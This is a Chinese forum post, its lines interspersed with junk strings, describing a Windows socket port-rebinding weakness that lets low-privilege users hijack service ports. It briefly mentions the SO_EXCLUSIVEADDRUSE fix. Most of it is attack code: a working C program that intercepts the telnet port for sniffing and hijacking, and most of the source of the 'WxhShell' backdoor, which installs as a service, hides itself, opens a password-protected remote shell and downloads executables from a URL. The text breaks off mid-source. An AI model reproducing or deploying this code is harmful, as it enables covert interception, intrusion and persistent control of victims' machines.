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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d+8|aS<A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )hK;27m4  
UC00zW<Z@"  
  saddr.sin_family = AF_INET;  3+M+5  
XR#?gx.}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ty9(mtH+  
aprgThoD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @XKVdtG  
3);W gh6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8{CBWXo$)  
IF?  
  这意味着什么?意味着可以进行如下的攻击: pSpxd |k  
#N\<(SD/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #q?:Act  
K*j1Fy:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -N2m|%B  
e#tWQM3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y#lg)nB  
w /CD-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9v}vCg  
fEyc3K'5V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h&b s`  
^"$~&\+x5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;, u7)  
x&FBh !5H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <L3ig%#B  
1 |3vwgRhs  
  #include >9Y0t^Fl  
  #include _#o75*42tT  
  #include *eUxarI  
  #include    "LVN:|!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +n<;);h  
  int main() 45Q#6Bt E  
  { 0:>C v<N  
  WORD wVersionRequested; Yp9%u9tNq  
  DWORD ret; bLz('mUY  
  WSADATA wsaData; v,c:cKj  
  BOOL val; `%0k\,}V  
  SOCKADDR_IN saddr; t~]tw  
  SOCKADDR_IN scaddr; 3 W?H^1t  
  int err; DEpn>   
  SOCKET s; =,W~^<\"  
  SOCKET sc; 8';huq@C{  
  int caddsize; [\pp KC  
  HANDLE mt; JB!KOzw  
  DWORD tid;   LBhDP5qF  
  wVersionRequested = MAKEWORD( 2, 2 ); HwZ@T &_4  
  err = WSAStartup( wVersionRequested, &wsaData ); v;R+{K87  
  if ( err != 0 ) { 0 aiE0b9c  
  printf("error!WSAStartup failed!\n"); iA+zZVwO  
  return -1; }cI _$  
  } p!cNn7{;  
  saddr.sin_family = AF_INET; st(Y{Gs  
   to'O;f">n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D?? \H\  
4:XVu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j|(bdTZY:  
  saddr.sin_port = htons(23); `[.4SIah  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G%fNGQwT  
  { K>`*JJ,  
  printf("error!socket failed!\n"); Cv1CRmqq%  
  return -1; T9Pu V  
  } ? `#  
  val = TRUE; Tn\59 (  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TZS:(MJ9M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >U[YSsFt6  
  { je~gk6}Y  
  printf("error!setsockopt failed!\n"); VxGR[kq$]  
  return -1; T#R*]  
  } UL\gcZ Zkl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vb8{OD3PK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :.NCS`z_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w<=-n ;2  
se]QEd7]7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YH$whJ`W0  
  { w,zgYX&  
  ret=GetLastError(); V%!my[b  
  printf("error!bind failed!\n"); +K*_=gHF.  
  return -1; jD'$nKpg  
  } W q>qso  
  listen(s,2); zvP>8[   
  while(1) #jR1ti)p  
  { zRF +D+  
  caddsize = sizeof(scaddr); V']1j  
  //接受连接请求 u-#J!Z<T8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -Mufo.Jz1o  
  if(sc!=INVALID_SOCKET) I)cA:Ip  
  { G_n~1?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }h`ddo  
  if(mt==NULL) bjGQ04da  
  { 1 gx(L*y,  
  printf("Thread Creat Failed!\n"); I r;Z+}4>Y  
  break; 7W\aX*]  
  } m^ [VM&%  
  } S?LUSb  
  CloseHandle(mt); e.pq6D5  
  } i?pC[Ao-_  
  closesocket(s); Z%O>|ozpq  
  WSACleanup(); RiM!LX  
  return 0; g7U>G=,;?U  
  }   a$P$Ngi?S  
  DWORD WINAPI ClientThread(LPVOID lpParam) |+(Hia,X  
  { ]u@`XVEJ  
  SOCKET ss = (SOCKET)lpParam; pj9s=}1 '  
  SOCKET sc; ,O ]AB  
  unsigned char buf[4096]; 9q f=P3  
  SOCKADDR_IN saddr; - -H%FYF`  
  long num; :~+m9r  
  DWORD val; w?zY9Fs=s  
  DWORD ret; tR% &.,2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i$W=5B>SO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >4eZ%</D5  
  saddr.sin_family = AF_INET; R?GF,s<j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :yC|Q)  
  saddr.sin_port = htons(23); WL/9r *jW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "f<+~  
  { j*}2AI  
  printf("error!socket failed!\n"); "jG-)k`a  
  return -1; ,}_uk]AQ  
  } \Zms  
  val = 100; '2.11cM3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dX:#KdK  
  { maTZNzy  
  ret = GetLastError(); TdH~ sz  
  return -1; 9J'3b <  
  } h9L/.>CX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >n^[-SWJCT  
  { >On"BP# U  
  ret = GetLastError(); Ks-aJ+}  
  return -1; v&*}O  
  } nH^RQ'19  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F|t_&$Is?  
  { d9sqO9Ud8  
  printf("error!socket connect failed!\n"); t.E3Fh!o  
  closesocket(sc); =)Q0=!%-  
  closesocket(ss); z@n779i  
  return -1; !u=,bfyH  
  } N`%f+eT(  
  while(1) ]w[T_4 l  
  { Kp_^ 2V?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fnm:Wa|,%|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IB+)2`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C2 ] x  
  num = recv(ss,buf,4096,0); >E3 lY/[  
  if(num>0) <<[hZ$.  
  send(sc,buf,num,0); 'U'#_mYG  
  else if(num==0) wam- =3W  
  break; r@m2foaO  
  num = recv(sc,buf,4096,0); -P3;7_}]:h  
  if(num>0) ,dIo\Lm  
  send(ss,buf,num,0); "G`8>1tO_  
  else if(num==0) Z w&_Wt  
  break; _{5t/^w&!  
  } 15^5y RXC  
  closesocket(ss); CAD:ifV  
  closesocket(sc); X@n\~[.B  
  return 0 ; {b6g!sE  
  } vz_ZXy9Z  
kbkq.fYr  
?nAKB5=  
========================================================== 3qc o2{nz  
t,yzqn  
下边附上一个代码,,WXhSHELL 2i3& 3oz]O  
pD>^Dfd  
========================================================== Ma`Goi\vFk  
?hQ,'M2  
#include "stdafx.h" WaRYrTDv64  
1"82JN|!  
#include <stdio.h> M%NapK  
#include <string.h> @.fyOyOC  
#include <windows.h> XiB]I5(hcc  
#include <winsock2.h> g$f ;  
#include <winsvc.h> CxOBH89(  
#include <urlmon.h> HBFuA.",  
=_L  
#pragma comment (lib, "Ws2_32.lib") 8/y~3~A{D  
#pragma comment (lib, "urlmon.lib") }w)`)N  
U 0M>A  
#define MAX_USER   100 // 最大客户端连接数 HjFY >(e  
#define BUF_SOCK   200 // sock buffer .{|AHW&0<  
#define KEY_BUFF   255 // 输入 buffer !cWnQRIt_F  
j>0~"A  
#define REBOOT     0   // 重启 9#;UQ.qA  
#define SHUTDOWN   1   // 关机 igW>C2J  
rpNe8"sh  
#define DEF_PORT   5000 // 监听端口 ^:RDu q  
Nh[{B{k  
#define REG_LEN     16   // 注册表键长度 Uieg4Iro  
#define SVC_LEN     80   // NT服务名长度 UT9=S21  
j;k(AM<  
// 从dll定义API 92k}ON  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -~HlME *~f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [[[QBplJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {:3XP<hqN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `f2m5qTP%  
U "qO&;m  
// wxhshell配置信息 ] PnE%  
struct WSCFG { q$Ol"K@  
  int ws_port;         // 监听端口 (pjmE7 `"P  
  char ws_passstr[REG_LEN]; // 口令 afZPju"-  
  int ws_autoins;       // 安装标记, 1=yes 0=no IrRn@15,  
  char ws_regname[REG_LEN]; // 注册表键名 adJoT-8P6  
  char ws_svcname[REG_LEN]; // 服务名 2rw<]Ce  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wsr #YNhx|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "Jp6EL%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Z-BZuK6p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z^f-MgWG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CDcs~PR@B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h,@x5q>g  
Wb4%=2Qn  
}; \4SFD 3$&  
uK?T <3]'  
// default Wxhshell configuration $Q:5KNF+p  
struct WSCFG wscfg={DEF_PORT, JHf}LZu  
    "xuhuanlingzhe", iDO~G($C  
    1, "*@iXJxv5  
    "Wxhshell", y(RbW_ ?  
    "Wxhshell", b* 6c.  
            "WxhShell Service", NRKAEf_#w  
    "Wrsky Windows CmdShell Service", uREc9z `Q'  
    "Please Input Your Password: ", ~P5!VNJ;r  
  1, Ej1 [ry  
  "http://www.wrsky.com/wxhshell.exe", VmTk4?V4  
  "Wxhshell.exe" b)u9#%Q  
    }; d]e`t"Aj  
 <C4^Vem  
// 消息定义模块 X/1Z9 a+W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <EI'N0~KG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T T0O %  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IEzZ$9,A5  
char *msg_ws_ext="\n\rExit."; <MN+2^ed&  
char *msg_ws_end="\n\rQuit."; e<^tY0rR&  
char *msg_ws_boot="\n\rReboot..."; 0nAeeVz|  
char *msg_ws_poff="\n\rShutdown..."; Iw"?%k\U  
char *msg_ws_down="\n\rSave to "; }}qR~.[  
ji( S ?^  
char *msg_ws_err="\n\rErr!"; D0QXvrf  
char *msg_ws_ok="\n\rOK!"; t:M({|m Y  
sI`i  
char ExeFile[MAX_PATH]; #k=!>%+E  
int nUser = 0; f|VP_o<  
HANDLE handles[MAX_USER]; CRWO R pP  
int OsIsNt; :;" 3k64  
,`|KN w5  
SERVICE_STATUS       serviceStatus; d*3R0Q|#{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ? =IbiT  
-T{~m6  
// 函数声明 gr=ke #   
int Install(void); hJ:Hv.{`)W  
int Uninstall(void); VH*j3  
int DownloadFile(char *sURL, SOCKET wsh); @F7QQs3  
int Boot(int flag); c2"eq2'BS  
void HideProc(void); kXX RMR  
int GetOsVer(void); raJyo>xXb5  
int Wxhshell(SOCKET wsl); 5<w0*~Z d~  
void TalkWithClient(void *cs); 33Mr9Doon  
int CmdShell(SOCKET sock); 4 qW)R{%  
int StartFromService(void); n?,fF(  
int StartWxhshell(LPSTR lpCmdLine); bM^'q  
<6apv(2a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g6W.Gl"5\w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y+ :<  
cDTDim1F  
// 数据结构和表定义 . ~|^du<X  
SERVICE_TABLE_ENTRY DispatchTable[] = 0t4i'??  
{ F"23>3  
{wscfg.ws_svcname, NTServiceMain}, v!`M=0k  
{NULL, NULL} QW2% Gv:  
}; \iVYhl  
1<R \V  
// 自我安装 w\t{'  
int Install(void) tOko %vY8  
{ <1jiU%!w  
  char svExeFile[MAX_PATH]; 2N,*S   
  HKEY key; 0\Oeo8<7)~  
  strcpy(svExeFile,ExeFile); R1q04Zj{2  
gieX`}  
// 如果是win9x系统,修改注册表设为自启动 U |4% ydG  
if(!OsIsNt) { K->p&6s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hcaH   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %)aDh }  
  RegCloseKey(key); xEiW]Eo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xU rfH$$!`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;8 b f5  
  RegCloseKey(key); 2=3iA09px  
  return 0; L:^'cl} G  
    } Vk_L*lcN  
  } (~#PzE :  
} \|&5eeE@  
else { Z=H f OC  
i([A8C_A  
// 如果是NT以上系统,安装为系统服务 mA>Pr<aV:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sdt @"6  
if (schSCManager!=0) ,vhR99g{  
{ gVl#pVO`N  
  SC_HANDLE schService = CreateService h'jnc.  
  ( $4M3j%S  
  schSCManager, Lq&xlW j  
  wscfg.ws_svcname, oD}I{&=wa  
  wscfg.ws_svcdisp, L|H{;r'  
  SERVICE_ALL_ACCESS,  z`_N|iEd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k<f*ns  
  SERVICE_AUTO_START, i/Hi  
  SERVICE_ERROR_NORMAL, (^Ln|3iz  
  svExeFile, -zTeIvcy5  
  NULL, )t.q[O`  
  NULL, igQyn|  
  NULL, =Tj0dfO|"  
  NULL, n_+Iw,a'm  
  NULL <St`"H  
  ); (HJ60Hj  
  if (schService!=0) eX$Biv1N  
  { S n+Yi  
  CloseServiceHandle(schService); 7vWB=r>5@  
  CloseServiceHandle(schSCManager); ~gAx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }z*p2)v`  
  strcat(svExeFile,wscfg.ws_svcname); (C:rH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [lJ[kr*7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z DK+8  
  RegCloseKey(key); bIhL!Ty T.  
  return 0;  +*!!  
    } FPMW"~v  
  } f Gfv{4R  
  CloseServiceHandle(schSCManager); ~>EVI=?  
} >]`x~cE.5  
} C^~iz in  
BxG;vS3>*e  
return 1; `<Ftn  
} K4tX4U[Z  
>ylVES/V  
// 自我卸载 5u!cA4e"  
int Uninstall(void) doa$ ;=wg  
{ Q7s1M&K  
  HKEY key; {%$=^XO  
=wQ=`  
if(!OsIsNt) { %SE g(<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 04"hQt{[  
  RegDeleteValue(key,wscfg.ws_regname); GQQ!3LwP\O  
  RegCloseKey(key); ])JJ`Z8Bk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  5-J-Tn  
  RegDeleteValue(key,wscfg.ws_regname); ~+g5?y  
  RegCloseKey(key); 5SjS~ 9  
  return 0; M1i|qjb:l  
  } Psv!`K  
} prWid3}  
} 'SY &-<t(  
else { 3_>R's8P  
}0TY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F,bl>;{[{  
if (schSCManager!=0) ,)RdXgCs  
{ B+<k,ad  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q9'p2@Z  
  if (schService!=0) AjS5  
  { pqe tYu  
  if(DeleteService(schService)!=0) { 4M]8po/;  
  CloseServiceHandle(schService); )<|TEp4r-  
  CloseServiceHandle(schSCManager); Q&J,"Vxw  
  return 0; ^/+sl-6/F  
  } ?-f>zx8O  
  CloseServiceHandle(schService); Cr` 0C  
  } Yc$|"to  
  CloseServiceHandle(schSCManager); )0Lq>6j9  
} 2Ar<(v$  
} zaZnL7ZJX  
RD4)NN6y5}  
return 1; W< n`[  
} 9NT;^K^ I  
i_MI!o  
// 从指定url下载文件 \x!>5Z Y  
int DownloadFile(char *sURL, SOCKET wsh) LWI~m2  
{ @FTi*$Ix  
  HRESULT hr; cNVdGY%&  
char seps[]= "/"; "Wm~\)t(  
char *token; DHAWUS6  
char *file; ~JXHBX  
char myURL[MAX_PATH]; %Z7!9+<  
char myFILE[MAX_PATH];  g{%';  
 UyQn onS  
strcpy(myURL,sURL); o;[oy#aWl_  
  token=strtok(myURL,seps); &0g,Xkr  
  while(token!=NULL) "jHN#}  
  { e-VL U;  
    file=token; +6=!ve}  
  token=strtok(NULL,seps); ^6+x0[13  
  }  q0~_D8e,  
=Wf@'~K0k"  
GetCurrentDirectory(MAX_PATH,myFILE); P5>CSWy%  
strcat(myFILE, "\\"); oo!g?X[[  
strcat(myFILE, file); @>Keu\)  
  send(wsh,myFILE,strlen(myFILE),0); US4Um>j  
send(wsh,"...",3,0); 'm|m +K83  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); | 6>_L6t  
  if(hr==S_OK) V%ch'  
return 0; W%1S:2+Kl  
else k 3 l  
return 1; gnXjd}  
]lUu%<-;  
} 2An`{')  
Bt,Xe~$z-  
// 系统电源模块 R~~rqvLm  
int Boot(int flag) &wN 2l-  
{ #E9['JnZ  
  HANDLE hToken; ' l|_$3  
  TOKEN_PRIVILEGES tkp; yr>bL"!CA  
Y9;Mey*oW  
  if(OsIsNt) { ?_aR-[XRg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); spJ(1F{|V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I*}#nY0+  
    tkp.PrivilegeCount = 1; Ct)MvZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sh ;uKzQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3ZlI$r(  
if(flag==REBOOT) { >K :"[?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iI*7WO[W  
  return 0; 8(>.^667  
} c~xo@[NaS  
else { yf)`jPM1<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -`OR6jd  
  return 0; 91H0mP>ki  
} l,.?-|Poa  
  } h '[vB^  
  else { M N#C2 qz  
if(flag==REBOOT) { Db(_T8sU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %v[ Kk-d  
  return 0; kA__*b}8UK  
} sg{D ?zl  
else { vC:b?0s#(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AiZFvn[n8  
  return 0; 'c&@~O;^d  
} 4_+Pv6  
} K//T}-Uub  
-kbm$~P  
return 1; }4SSo)Uv/  
} Y/H^*1  
_wNPA1q0J  
// win9x进程隐藏模块 b`W*vduf  
void HideProc(void) |*KS<iHr%  
{ wy {>gvqK  
,g_onfY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u!o]Co>  
  if ( hKernel != NULL ) NRisr  
  { X5Y `(/V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WuFwt\U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  J4"swPf  
    FreeLibrary(hKernel); hw$c@:pW;  
  } JGcD{RU|  
E[.tQ|C  
return; br  Z, s  
} /;AZ/Ocy!  
V<4+g/  
// 获取操作系统版本 l&*)r;9  
int GetOsVer(void) \bm6/fhA:  
{ tvT8UW'  
  OSVERSIONINFO winfo; c%@~%IGF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i1I>RK  
  GetVersionEx(&winfo); &_d/ciq1f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GWhAjL/N  
  return 1; [Cj}nld   
  else >}b6J7_  
  return 0; IzdTXc f  
} tRnW%F5  
{Y91vXTz7  
// 客户端句柄模块 N4 mJU'_{  
int Wxhshell(SOCKET wsl) s;2/Nc   
{ (\t_Hs::a  
  SOCKET wsh; 12sD|j  
  struct sockaddr_in client; @GQ8q]N:<  
  DWORD myID; ] 5v4^mk  
qmA2bw]  
  while(nUser<MAX_USER) oL Vtu5  
{ _/}Hqh  
  int nSize=sizeof(client); & 8' (  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1@^Ek8C  
  if(wsh==INVALID_SOCKET) return 1; 7B]:3M6d  
G4Kmt98I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D2</^]3Su  
if(handles[nUser]==0) +Y)#yGUn  
  closesocket(wsh); i*CQor6|z  
else F|l`YtZZd  
  nUser++; =6L*!JP<  
  } `{U%[$<[W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y[p$/$bgC5  
ml.;wB|  
  return 0; 3z)"U  
} LxlbD#<V  
7~"(+f  
// 关闭 socket J+b!6t}mZn  
void CloseIt(SOCKET wsh) /3Nb  
{ Pc)VK>.fc  
closesocket(wsh); U2V^T'Y[  
nUser--; .L7Yf+yFg  
ExitThread(0); /^LH  
} *)bd1B#  
B9e.-Xaf  
// 客户端请求句柄 |Vwc/9`t]>  
void TalkWithClient(void *cs) 8.CKH4h  
{ f[Fgh@4cj  
)W]>\=@Y  
  SOCKET wsh=(SOCKET)cs; N pXgyD  
  char pwd[SVC_LEN]; wfDp,T3w7  
  char cmd[KEY_BUFF]; _t|G@D{   
char chr[1]; +Cf0Y2*@hM  
int i,j; YxEbg(Y  
qsihQ d  
  while (nUser < MAX_USER) { x(9; !4O>  
Fkc x+d  
if(wscfg.ws_passstr) { Jf?S9r5Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5'X74`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K)/!&{7n}a  
  //ZeroMemory(pwd,KEY_BUFF); %e Sm&`  
      i=0; y98JiNq  
  while(i<SVC_LEN) { \ I^nx+l  
W""*hJ  
  // 设置超时  O[IR|  
  fd_set FdRead; q*[!>\ Z8  
  struct timeval TimeOut; NTm<6Is`  
  FD_ZERO(&FdRead); RQ^m6)BTo  
  FD_SET(wsh,&FdRead); CYtjY~  
  TimeOut.tv_sec=8; | "Jx  
  TimeOut.tv_usec=0; . QXG"R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); > 'aG /(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d $fvg8^  
"($Lx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9jO`gWxV8*  
  pwd=chr[0]; 6[*;M  
  if(chr[0]==0xd || chr[0]==0xa) { 4[TS4p  
  pwd=0; VyecTU"W  
  break; C5es2!^-]O  
  } K/vxzHSl  
  i++; 894r;UA7  
    } V(;55ycr  
m7r j>X Y  
  // 如果是非法用户,关闭 socket W?qpnPW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x0\e<x9s  
} VY/|WD~"CW  
j-J(C[[9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 48tcgFg[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M*5,O   
]<27Sw&yaG  
while(1) { 17>5#JLP  
]?0{(\  
  ZeroMemory(cmd,KEY_BUFF); E?Zb~xk  
+65oC x  
      // 自动支持客户端 telnet标准   t_dcV%=  
  j=0; 0 kf(g156  
  while(j<KEY_BUFF) { +"cRhVR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hp btj  
  cmd[j]=chr[0]; C-llq`(d  
  if(chr[0]==0xa || chr[0]==0xd) { 7hB#x]oQo  
  cmd[j]=0; *8$>Whr  
  break; X"h%tsuw  
  } -7>^ rR V  
  j++; `"a? a5]k  
    } F:M>z=  
-#LjI.  
  // 下载文件 &Nc[$H7<  
  if(strstr(cmd,"http://")) { )@}A r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }m6f^fs}  
  if(DownloadFile(cmd,wsh)) ?gLR<d_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [IiwNqZ[~  
  else ,YjxC p3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3A-*vaySV  
  } "\}b!gl$8  
  else { !|:RcH[  
$hh+0hs  
    switch(cmd[0]) { 8h2D+1,PZC  
  OmB TA=E<  
  // 帮助 !*&4< _  
  case '?': { Z6 ;Wd_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O\6vVM[  
    break; B!eK!B  
  } oJ^C]E  
  // 安装 oZgHSRRL  
  case 'i': { kMM'[w  
    if(Install()) jcE Msc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'KH lrmnr  
    else .iFViVZC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^6Yd}  
    break; ~gP7s_ qr{  
    } qQ^d9EK'?~  
  // 卸载 swt tp`  
  case 'r': { ]k[x9,IU\y  
    if(Uninstall()) H#OYw#L"u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %/51o6a  
    else F8;mYuA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6DB0ni  
    break; <mL%P`Jj  
    } C 8N%X2R  
  // 显示 wxhshell 所在路径 C1b*v&1{  
  case 'p': { z. 'Fv7  
    char svExeFile[MAX_PATH]; tl|ijR  
    strcpy(svExeFile,"\n\r"); w4UD/zO  
      strcat(svExeFile,ExeFile); >w9sE8i  
        send(wsh,svExeFile,strlen(svExeFile),0); Q|?'(J+  
    break; KYp[Gs  
    } iQqqs`K  
  // 重启 tww=~!  
  case 'b': { $]C=qM28-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); le.anJAr  
    if(Boot(REBOOT)) :vpl+)n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tZbFvk2  
    else { 6,X+1EXY  
    closesocket(wsh); C,fY.CeI  
    ExitThread(0); Pb#P`L7OB  
    } vm8$:W2 }  
    break; 1I ""X]I_  
    } "# !D|[h0  
  // 关机 CphFv!k'Z  
  case 'd': { _ Hc%4I  
